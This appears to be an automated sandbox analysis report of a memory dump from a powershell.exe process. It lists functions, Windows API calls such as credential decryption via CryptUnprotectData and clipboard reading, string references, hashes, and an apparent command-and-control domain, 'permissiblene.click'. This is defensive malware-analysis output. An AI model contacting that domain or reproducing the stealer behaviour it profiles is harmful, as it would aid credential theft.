Opcode ID: 649c2a1ffc0fcdb3b6e02f24ec85f7b18df16c9fde9cf59765b1ca7af9e885d2
Instruction ID: 442db11a2d4f11b0fde2acc7aa8f1d9168a9dd9b3f926af6f57ab757d4de4b40
Opcode Fuzzy Hash: 649c2a1ffc0fcdb3b6e02f24ec85f7b18df16c9fde9cf59765b1ca7af9e885d2
Instruction Fuzzy Hash: 1B01F761A1D3C96FC71702281820169BF726FC352075941E7C145DF2D7DD148C4683E7

Analysis Process: powershell.exePID: 3836, Parent PID: 1028COMMON

Execution Graph

Execution Coverage:	9.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	35.1%
Total number of Nodes:	339
Total number of Limit Nodes:	20

Executed Functions

Function 004118D0 Relevance: 51.0, APIs: 3, Strings: 25, Instructions: 1981COMMON

Download Yara Rule

Strings

], xrefs: 00412D73
O], xrefs: 00412E59
GI, xrefs: 00412B45
=], xrefs: 00412E63
I7, xrefs: 00412D0C
Ok, xrefs: 004121A8
GI, xrefs: 00412B3B
tL, xrefs: 00412916
[r, xrefs: 00411BF9
], xrefs: 00412D9B
Wo, xrefs: 00411EB1
1], xrefs: 00412E81
N], xrefs: 00412DE1
R, xrefs: 00412283
0\, xrefs: 00411AED
D, xrefs: 004135FE
D, xrefs: 004131A9
!, xrefs: 00411B8F
B], xrefs: 00412DD7
<, xrefs: 00412319
H], xrefs: 00412E13
`, xrefs: 0041275E
2], xrefs: 00412E77
], xrefs: 00412D87
], xrefs: 00412DA5

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID:
String ID: !$0\$1]$2]$=]$B]$D$D$GI$GI$H]$I7$N]$O]$Ok$R$Wo$[r$`$tL$<$]$]$]$]
API String ID: 0-3810882205
Opcode ID: 7c9e0f59f5c4572d9e1288cdfaa973e8028cf2faf673f747c4db689a469be775
Instruction ID: 26e37b5a27921351f131a8d65d8dd6bf57fb013c5090a7881b03709181e5621c
Opcode Fuzzy Hash: 7c9e0f59f5c4572d9e1288cdfaa973e8028cf2faf673f747c4db689a469be775
Instruction Fuzzy Hash: A703AD7161C3508BD328DF28C5853AFB7E1AFC5310F158A2EE9D997391E77889818B4B

Function 00438C90 Relevance: 37.3, APIs: 12, Strings: 9, Instructions: 525
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(0044368C,00000000,00000001,0044367C,00000000), ref: 00438E40
SysAllocString.OLEAUT32(61B56187), ref: 00438EE2
CoSetProxyBlanket.COMBASE(1DC04096,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00438F20
SysAllocString.OLEAUT32(61B56187), ref: 00438F7D
SysAllocString.OLEAUT32(3E123E2D), ref: 0043904A
VariantInit.OLEAUT32(5B745B4F), ref: 004390B8

Strings

d>o>, xrefs: 00438F9F
f>>, xrefs: 00438FA7
O[t[, xrefs: 00438CC0
7>c>, xrefs: 00438FB7
C, xrefs: 00438DF2
2>6>, xrefs: 00438FAF
3>$>, xrefs: 00438FBF
\, xrefs: 00438DFA
v>, xrefs: 00438FE7

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID: AllocString$BlanketCreateInitInstanceProxyVariant
String ID: 2>6>$3>$>$7>c>$C$O[t[$\$d>o>$f>>$v>
API String ID: 65563702-2290779530
Opcode ID: 38e3d282e63bcbfb1644009ead8865c251bf27a565a09847d5bf744115630eea
Instruction ID: c0e79de85990c71ab815b91cf48e4bfa203ec5810b040c1c91de88aa8a84c684
Opcode Fuzzy Hash: 38e3d282e63bcbfb1644009ead8865c251bf27a565a09847d5bf744115630eea
Instruction Fuzzy Hash: 8C02DF72A08301ABD710DF64CC85B6BB7A6EFC9714F14892DF581AB390D779D805CB8A

Function 00422870 Relevance: 12.7, APIs: 3, Strings: 4, Instructions: 471
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,00000000,?), ref: 00422970
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,?,?), ref: 004229DD

Strings

,,=,, xrefs: 00422E2A
diJ, xrefs: 00422E96
LQL, xrefs: 00422DCE
*,=,, xrefs: 00422E4A

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: *,=,$,,=,$diJ$LQL
API String ID: 237503144-2531928868
Opcode ID: 841c2c15685187bd954a2d995779f68ece85c9bd557ea18b83c4609880cd3a89
Instruction ID: e81b2ff4bd20acc539124ec0c676da8b120a63586ebe534c2a7055d2906807d5
Opcode Fuzzy Hash: 841c2c15685187bd954a2d995779f68ece85c9bd557ea18b83c4609880cd3a89
Instruction Fuzzy Hash: 8CF121B66183148FC314DF54E98162BB7E1FFC6344F04896DE5C59B360E7B89A09CB8A

Function 004104E7 Relevance: 11.1, APIs: 1, Strings: 5, Instructions: 610
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL ref: 00410782

Strings

6L, xrefs: 00410C8B
di, xrefs: 004108A3
7, xrefs: 00410C81
, xrefs: 00410799
rj, xrefs: 00410AEA

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: 6L$7$di$rj$
API String ID: 237503144-3659263430
Opcode ID: 5a11074f47a8175fa62817934415b2d3420978d561d6e4037c068776ddd5e059
Instruction ID: 93c5423282e88211a1001a396d865792dd41de102bbe3f695b7f2f8a3b7159a9
Opcode Fuzzy Hash: 5a11074f47a8175fa62817934415b2d3420978d561d6e4037c068776ddd5e059
Instruction Fuzzy Hash: 48328C75A0D3408BC364AF79C5813EFBBE0AF84354F14892FE5D997391DA7889818B4B

Function 004085D0 Relevance: 7.8, APIs: 5, Instructions: 312
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 004085F4
GetCurrentThreadId.KERNEL32 ref: 004085FE
SHGetSpecialFolderPathW.SHELL32(00000000,?,00000010,00000000), ref: 0040875A
GetForegroundWindow.USER32 ref: 00408887

Part of subcall function 0040B3B0: FreeLibrary.KERNEL32(00408981), ref: 0040B3B6
Part of subcall function 0040B3B0: FreeLibrary.KERNEL32 ref: 0040B3D7

ExitProcess.KERNEL32 ref: 0040899A

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID: CurrentFreeLibraryProcess$ExitFolderForegroundPathSpecialThreadWindow
String ID:
API String ID: 3676751680-0
Opcode ID: 3501a65e4930fe3fa56a037192b4047e99a07fb4919e639947ba2e74cc683e01
Instruction ID: ad6200de4210d9a04599fce77ba0fdf2601055967606580d5498285a901ef58c
Opcode Fuzzy Hash: 3501a65e4930fe3fa56a037192b4047e99a07fb4919e639947ba2e74cc683e01
Instruction Fuzzy Hash: B7A10776B443044BC308EF69DD9136AF6D6ABC8310F0DD43EA885DB395EEBC9D058685

Function 0040D643 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 822
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoUninitialize.OLE32 ref: 0040D64A
CoUninitialize.COMBASE ref: 0040DACE

Strings

permissiblene.click, xrefs: 0040DA91, 0040DF28

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID: Uninitialize
String ID: permissiblene.click
API String ID: 3861434553-3120127257
Opcode ID: 5c3e07459faded43a0ba1ce952c9247a7474cd129e8cbe0b407761016ea04f75
Instruction ID: 5cdfe13503f33a145c73b8f78b442bb27e6af6bd9d2eacdeba7417bbc26f7e4a
Opcode Fuzzy Hash: 5c3e07459faded43a0ba1ce952c9247a7474cd129e8cbe0b407761016ea04f75
Instruction Fuzzy Hash: A34225756057418FD328CF39C990622BBE3FF9630071996ADD4868F7A6DB39E806CB44

Function 0042C4F6 Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 379
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 0042C5BD

Strings

UzUy, xrefs: 0042C7B1

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: UzUy
API String ID: 3960555810-1793371523
Opcode ID: 330b5ba03eeb65544f05e8023bc46f0aadf77a918e824a83d5395c3f738fefd6
Instruction ID: a9889ccade49914761779446ee1e12bcc6830a2b46294e2a06ffadc3a624b005
Opcode Fuzzy Hash: 330b5ba03eeb65544f05e8023bc46f0aadf77a918e824a83d5395c3f738fefd6
Instruction Fuzzy Hash: 36C1D3B56047428FD729CF29C490766BBE2BF9A300F18C56EC4DAC77A1DB39A446CB44

Function 004164FD Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 143
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00418C23

Strings

OzA, xrefs: 00418C34

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID: CryptDataUnprotect
String ID: OzA
API String ID: 834300711-1351414677
Opcode ID: 980f7e20317f797d1d84ed87af443f0ef7f9ef54927ba0c62178187bca58ab68
Instruction ID: 9c97545d1ec6c4f6ccf0580d26e68663f345747e0ab963785eb3c0ade874f854
Opcode Fuzzy Hash: 980f7e20317f797d1d84ed87af443f0ef7f9ef54927ba0c62178187bca58ab68
Instruction Fuzzy Hash: FB51A0B150C3429FC724CF18C4916ABB7E1AF94344F19492EE4DA87342DB38ED49CB96

Function 0043E720 Relevance: 2.6, Strings: 2, Instructions: 80COMMON

Download Yara Rule

Strings

D]+\, xrefs: 0043E7B0
D]+\, xrefs: 0043E720

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID:
String ID: D]+\$D]+\
API String ID: 0-1297882787
Opcode ID: 30075bc0288e0d91918027b30d8d233241e627d6287cf24c97fde2d93f81bf70
Instruction ID: 69279f5087e4f62d0d426cd9275475f8cf196777a585662fe09cdae49935fb4d
Opcode Fuzzy Hash: 30075bc0288e0d91918027b30d8d233241e627d6287cf24c97fde2d93f81bf70
Instruction Fuzzy Hash: A2216A38505111DBCB1CAB06DC5073FB36AEB09714F25693ED893973D1D768AC10878D

Function 0043E0F0 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(004412BD,?,00000018,?,?,00000018,?,?,?), ref: 0043E11E

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 0043C210 Relevance: .2, Instructions: 213COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 10998021e75b1681e0b95d5bcc4baff4f47d888305fdb145721d4fb3a48f6646
Instruction ID: 146906b21e84a71a5447d267da4ba6aaf717e0b7f914c08b2fcba104c0b58f90
Opcode Fuzzy Hash: 10998021e75b1681e0b95d5bcc4baff4f47d888305fdb145721d4fb3a48f6646
Instruction Fuzzy Hash: 61517D72E042205BD7249F18CC9077BB391EFD9704F16952EDD85B7390E6399C118BCA

Function 0043303D Relevance: 35.2, APIs: 1, Strings: 19, Instructions: 152
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32 ref: 0043310E

Strings

92, xrefs: 004331BD
I2, xrefs: 004331C7
_2, xrefs: 004331D1
Y2, xrefs: 00433203
G2, xrefs: 0043320D
U2, xrefs: 00433217
K2, xrefs: 004331B3
1, xrefs: 00433155
<2, xrefs: 004331EF
F2, xrefs: 00433221
0, xrefs: 004332EB
S2, xrefs: 004331DB
Y2, xrefs: 004331A9
rBW, xrefs: 00433074
S2, xrefs: 004331F9
&2, xrefs: 00433195
P2, xrefs: 004331E5
V2, xrefs: 0043319F
J2, xrefs: 0043322B

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID: AllocString
String ID: &2$0$92$<2$F2$G2$I2$J2$K2$P2$S2$S2$U2$V2$Y2$Y2$_2$rBW$1
API String ID: 2525500382-1704840789
Opcode ID: f902b592b6eba6466cdfafd08a383cbd4100be188b91849ddb173ee8b47d4ebe
Instruction ID: 74ae05fafc35c9b705cb94cf23568fa8391c61c6ad6acd50c28dcf27fe9afe66
Opcode Fuzzy Hash: f902b592b6eba6466cdfafd08a383cbd4100be188b91849ddb173ee8b47d4ebe
Instruction Fuzzy Hash: 9461C532A2D7508AD368CF68CA0539FB6E1BFC5300F15AA6DD4D99B364E7748901C78B

Function 0042EF29 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 134
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32 ref: 0042EF9C

Strings

0, xrefs: 0042F1B5

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID: AllocString
String ID: 0
API String ID: 2525500382-4108050209
Opcode ID: 594bc527795c77264db86f739958c62bdc7127a453049ecb036233e592427bcf
Instruction ID: 0a4eaccf14a634c46fe98988d6e4d56a5479cc73525d61b797b192565461f97e
Opcode Fuzzy Hash: 594bc527795c77264db86f739958c62bdc7127a453049ecb036233e592427bcf
Instruction Fuzzy Hash: 64610674225B00CAE364DF79C1596DBB7E1BF5A300F44A82DC4EB8B321EB34A545CB4A

Function 004301AB Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 88
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysFreeString.OLEAUT32 ref: 004301B1

Strings

0, xrefs: 00430382

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID: FreeString
String ID: 0
API String ID: 3341692771-4108050209
Opcode ID: 728ca5686f50925d4b47e5ed6fd6f75bb7f4880b0b866d1cb06efd7535016031
Instruction ID: cbe7c8c2ed5f32ff24dce75553806bf4a95f2713d3c6b96b5db25f257468730d
Opcode Fuzzy Hash: 728ca5686f50925d4b47e5ed6fd6f75bb7f4880b0b866d1cb06efd7535016031
Instruction Fuzzy Hash: 1741BD24129B808AD764EF79C59879BB7F1FF88300F12692DD4AB8B320E7356145CB4E

Function 004367C7 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetUserDefaultUILanguage.KERNELBASE ref: 004367F6

Strings

O, xrefs: 00436801

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID: DefaultLanguageUser
String ID: O
API String ID: 95929093-1565894260
Opcode ID: 7616a595526bafa3687f96e99e0534a833ac6c132625a1b12df8f9f0694abd48
Instruction ID: 11def839418fd5d686b5f591c2ee6643e49fceff057299cf769fe895b6b669d2
Opcode Fuzzy Hash: 7616a595526bafa3687f96e99e0534a833ac6c132625a1b12df8f9f0694abd48
Instruction Fuzzy Hash: F901D6769001028BDB04AF79D9152AEB7A3BFD8311F29C57DD80157319D7389542C756

Function 0040C846 Relevance: 3.1, APIs: 2, Instructions: 133COMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(00000000,00000002), ref: 0040C84A
CoInitializeEx.COMBASE(00000000,00000002), ref: 0040C995

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 33b9f3f75c944a81cb14bf5bc3ef0b3239042d20b42293b3aa2c6582cb5774df
Instruction ID: 11e91efd5d4a476de7439511b11a1cf4b6fad113809ff6bef81543a0c430e8d1
Opcode Fuzzy Hash: 33b9f3f75c944a81cb14bf5bc3ef0b3239042d20b42293b3aa2c6582cb5774df
Instruction Fuzzy Hash: 5641F9B5D10B00AFD370EF3DDA4B7127EB4AB05250F40872DF9E68A6D4E630A4198BD6

Function 0043E060 Relevance: 1.5, APIs: 1, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000000), ref: 0043E0A6

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 71dc51ca2d6fc07a2931c77ea297b4b54f03fc9e93f09199e39f5efe2c1ae787
Instruction ID: fec0c123637ed751c7014e425ce955774d5f5479ead2028489dbbb7dd98cc405
Opcode Fuzzy Hash: 71dc51ca2d6fc07a2931c77ea297b4b54f03fc9e93f09199e39f5efe2c1ae787
Instruction Fuzzy Hash: ADF0F07A824210FBC6012F29BD0194B3674EF8B329F05187AF00052022EB39C802EBAA

Function 0043E1D2 Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 0043E275

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: 6cb32618bc487382298e5b6f1fc3e7adf649a3ed36cba32df02c21826e090ae5
Instruction ID: 9ddbf6b16d43b63eaacfaa2c81d09df84929580d8ee5ee5cfd18515a6355f7fe
Opcode Fuzzy Hash: 6cb32618bc487382298e5b6f1fc3e7adf649a3ed36cba32df02c21826e090ae5
Instruction Fuzzy Hash: 24F0F6B6A061604BD7088F29D90535773E0AB8A305F005839E546D33A1D53A8D44C34A

Function 0043041B Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 00430461

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: bd91b47e3060ad55cf2fe4b042bfb56b19f806254a51f7806ddc3c1a1fe9ff79
Instruction ID: 99560750887db020c88b0009a58cd09569da982514c7974981007fb546798a58
Opcode Fuzzy Hash: bd91b47e3060ad55cf2fe4b042bfb56b19f806254a51f7806ddc3c1a1fe9ff79
Instruction Fuzzy Hash: 30F0DAB4109701CFD314DF28D5A471ABBF0FB89704F10881CE1968B3A0CB75AA48CF82

Function 00432D4D Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 00432D91

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 56f13f92b7a1255e101520ede486534905b2a37b1a9ed86f7e4f59851042d4ca
Instruction ID: 62b65a42f15d7cc2309a1e08c51f1bcdbc725ecad25909c5d2c23be4bac06d58
Opcode Fuzzy Hash: 56f13f92b7a1255e101520ede486534905b2a37b1a9ed86f7e4f59851042d4ca
Instruction Fuzzy Hash: 0CF07FB45093429FE318DF25D5A871FBBE1BBC9308F60C91CE0944B694C3B59A098FC2

Function 0040C9FD Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040CA0F

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: 0cf74e8c4fa9b9cebf6749d4c54df742595b7de921fd658c64fc65029d3aeeff
Instruction ID: ed5a73b1c9677f79df57209a6001f27ef0f41a1ff87bfd8a32e0076880d6d603
Opcode Fuzzy Hash: 0cf74e8c4fa9b9cebf6749d4c54df742595b7de921fd658c64fc65029d3aeeff
Instruction Fuzzy Hash: 4FD092783E47417BF6645B08AC17F107610A746F22F300224B362EE2D2C9907501861C

Function 0043C1E0 Relevance: 1.5, APIs: 1, Instructions: 13memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000,?,0043E098,?,?,00000000,0040B30C,00000000,0040B333), ref: 0043C1FE

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 161d6cc876b25b1b36f87deb656d717efb24626576a8b71b331aa942640a628b
Instruction ID: 4d879e3e48c6dc2181385bdab1c4d598bb94be339152225f8128b242698bd753
Opcode Fuzzy Hash: 161d6cc876b25b1b36f87deb656d717efb24626576a8b71b331aa942640a628b
Instruction Fuzzy Hash: 63D01232415232FBC6111F28FC06B9B3A54DF0A321F0308B6B4406B071D674DC91D6D8

Function 0043C1C0 Relevance: 1.5, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,00000001,00408819,556D4AF4), ref: 0043C1D0

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: b70c299dbf8ad026ff3d646b08906a76d3bb47b7d5cd047be35dc264748042f0
Instruction ID: f06daee52db04fef9ffd77a93bf39f1218852508e2b390a71e91873d75b177fd
Opcode Fuzzy Hash: b70c299dbf8ad026ff3d646b08906a76d3bb47b7d5cd047be35dc264748042f0
Instruction Fuzzy Hash: 12C09B31455230BBC6102F15FC05FCA3F54EF56355F4550A7B04467072C760AC82C6D8

Non-executed Functions

Function 0041D810 Relevance: 12.0, Strings: 9, Instructions: 788COMMON

Download Yara Rule

Strings

;,gk, xrefs: 0041DAC0
"2&, xrefs: 0041DB28
/t, xrefs: 0041DB10
(`"w, xrefs: 0041DAE0
w, xrefs: 0041DB73
;d$v, xrefs: 0041DAB8
tk, xrefs: 0041DA03
+d4v, xrefs: 0041DAF8
=t2c, xrefs: 0041DAC8

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID:
String ID: w$"2&$(`"w$+d4v$/t$;,gk$;d$v$=t2c$tk
API String ID: 0-929208450
Opcode ID: 6fe4a89783577b8b8dc71a87290f0745d8695e541a1e71c7b3b54c067a0c1ff1
Instruction ID: 57b87d57f3c9de9105bea4e881d15640b7cf8e54a8238bdd52f6ede7f2aa1e3f
Opcode Fuzzy Hash: 6fe4a89783577b8b8dc71a87290f0745d8695e541a1e71c7b3b54c067a0c1ff1
Instruction Fuzzy Hash: 444279B490C3908FC321DF25C8507AFBBE1AF95314F14866DE8E55B392D73A8945CB8A

Function 00410E59 Relevance: 11.0, APIs: 1, Strings: 5, Instructions: 486COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL ref: 0041100D

Strings

#, xrefs: 0041137F
#o, xrefs: 0041141C
Vh, xrefs: 00411192
qi, xrefs: 00411145
q6, xrefs: 0041102E

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: #o$#$Vh$q6$qi
API String ID: 237503144-3610294576
Opcode ID: 24bdf68054bc932f38a150c690828f4dcff0b4b26ec284e7472666cb6aaeadb5
Instruction ID: 8b034082395f838573e0f9c1b77793219c578cee44d2a0a158306dbafd125d5e
Opcode Fuzzy Hash: 24bdf68054bc932f38a150c690828f4dcff0b4b26ec284e7472666cb6aaeadb5
Instruction Fuzzy Hash: 3712A171A1D3408BC3249F79C4853EEB7E1AFC8314F15892FE9D997391DA7889818B4B

Function 00433510 Relevance: 9.1, APIs: 6, Instructions: 137clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00433534
GetClipboardData.USER32 ref: 0043354F
GlobalLock.KERNEL32 ref: 00433573
GlobalUnlock.KERNEL32 ref: 004336C2
CloseClipboard.USER32 ref: 004336CA

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockOpenUnlock
String ID:
API String ID: 1006321803-0
Opcode ID: 23d8670c13223ac8d427bdc199c3b0764472a9e89a818100f6a68e5cbb47d912
Instruction ID: 07fa625490295a4e76969198190a3f4785a56c74a67cc5372c365e7d5e2a77eb
Opcode Fuzzy Hash: 23d8670c13223ac8d427bdc199c3b0764472a9e89a818100f6a68e5cbb47d912
Instruction Fuzzy Hash: DD41B2B2D086119FD710AFB4D48626EBBB0BF44301F05853ED8859B341D7789A89C7DB

Function 00424C22 Relevance: 7.7, Strings: 6, Instructions: 152COMMON

Download Yara Rule

Strings

$SB, xrefs: 00424DE9
-{"{, xrefs: 00424CE6
/{,{, xrefs: 00424C93, 00424C50
!{~{, xrefs: 00424CF6
#{ {, xrefs: 00424CEE
/{,{, xrefs: 00424D16

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID:
String ID: !{~{$#{ {$$SB$-{"{$/{,{$/{,{
API String ID: 0-1771253900
Opcode ID: 82210b81edd521d3dce38d2623ae5035ce87386d61d7dac2a5bff5bd3382191e
